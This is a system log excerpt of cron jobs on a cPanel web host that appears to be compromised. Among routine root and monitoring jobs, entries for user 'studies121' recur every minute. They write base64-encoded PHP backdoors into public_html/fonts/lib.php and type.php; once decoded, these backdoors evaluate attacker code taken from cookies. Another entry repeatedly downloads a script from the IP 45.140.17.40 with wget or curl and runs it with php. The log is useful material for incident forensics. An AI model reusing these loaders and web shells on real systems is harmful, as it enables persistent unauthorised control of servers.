Sep  5 10:34:01 ip-184-168-122-23 CROND[26922]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:34:01 ip-184-168-122-23 CROND[26921]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:35:01 ip-184-168-122-23 CROND[27077]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:35:01 ip-184-168-122-23 CROND[27080]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 10:35:01 ip-184-168-122-23 CROND[27082]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 10:35:01 ip-184-168-122-23 CROND[27083]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  5 10:35:01 ip-184-168-122-23 CROND[27088]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 10:35:01 ip-184-168-122-23 CROND[27087]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:35:01 ip-184-168-122-23 CROND[27089]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 10:35:01 ip-184-168-122-23 CROND[27090]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:36:02 ip-184-168-122-23 CROND[27251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:36:02 ip-184-168-122-23 CROND[27253]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 10:36:02 ip-184-168-122-23 CROND[27254]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 10:36:02 ip-184-168-122-23 CROND[27255]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:36:02 ip-184-168-122-23 CROND[27258]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:37:01 ip-184-168-122-23 CROND[27408]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:37:01 ip-184-168-122-23 CROND[27411]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:37:01 ip-184-168-122-23 CROND[27412]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:37:01 ip-184-168-122-23 CROND[27413]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 10:38:01 ip-184-168-122-23 CROND[27629]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 10:38:01 ip-184-168-122-23 CROND[27631]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:38:01 ip-184-168-122-23 CROND[27632]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 10:38:01 ip-184-168-122-23 CROND[27633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:38:01 ip-184-168-122-23 CROND[27634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:39:01 ip-184-168-122-23 CROND[27774]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:39:01 ip-184-168-122-23 CROND[27775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:39:01 ip-184-168-122-23 CROND[27776]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:39:01 ip-184-168-122-23 CROND[27777]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 10:39:01 ip-184-168-122-23 CROND[27778]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 10:40:01 ip-184-168-122-23 CROND[27929]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 10:40:02 ip-184-168-122-23 CROND[27932]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:40:02 ip-184-168-122-23 CROND[27931]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:40:02 ip-184-168-122-23 CROND[27934]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:40:02 ip-184-168-122-23 CROND[27935]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 10:40:02 ip-184-168-122-23 CROND[27937]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 10:40:02 ip-184-168-122-23 CROND[27939]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 10:40:02 ip-184-168-122-23 CROND[27940]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 10:41:02 ip-184-168-122-23 CROND[28088]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:41:02 ip-184-168-122-23 CROND[28089]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 10:41:02 ip-184-168-122-23 CROND[28090]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:41:02 ip-184-168-122-23 CROND[28091]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:42:01 ip-184-168-122-23 CROND[28260]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 10:42:01 ip-184-168-122-23 CROND[28263]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:42:01 ip-184-168-122-23 CROND[28265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:42:01 ip-184-168-122-23 CROND[28262]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 10:42:01 ip-184-168-122-23 CROND[28264]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:43:01 ip-184-168-122-23 CROND[28437]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:43:01 ip-184-168-122-23 CROND[28439]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:43:01 ip-184-168-122-23 CROND[28440]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:43:01 ip-184-168-122-23 CROND[28441]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 10:44:01 ip-184-168-122-23 CROND[28681]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 10:44:01 ip-184-168-122-23 CROND[28682]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:44:01 ip-184-168-122-23 CROND[28684]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:44:01 ip-184-168-122-23 CROND[28685]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:44:01 ip-184-168-122-23 CROND[28687]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 10:45:01 ip-184-168-122-23 CROND[28825]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:45:01 ip-184-168-122-23 CROND[28826]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:45:01 ip-184-168-122-23 CROND[28829]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 10:45:01 ip-184-168-122-23 CROND[28828]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 10:45:01 ip-184-168-122-23 CROND[28827]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 10:45:01 ip-184-168-122-23 CROND[28830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:46:01 ip-184-168-122-23 CROND[28994]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 10:46:01 ip-184-168-122-23 CROND[28997]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:46:01 ip-184-168-122-23 CROND[29001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:46:01 ip-184-168-122-23 CROND[28999]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
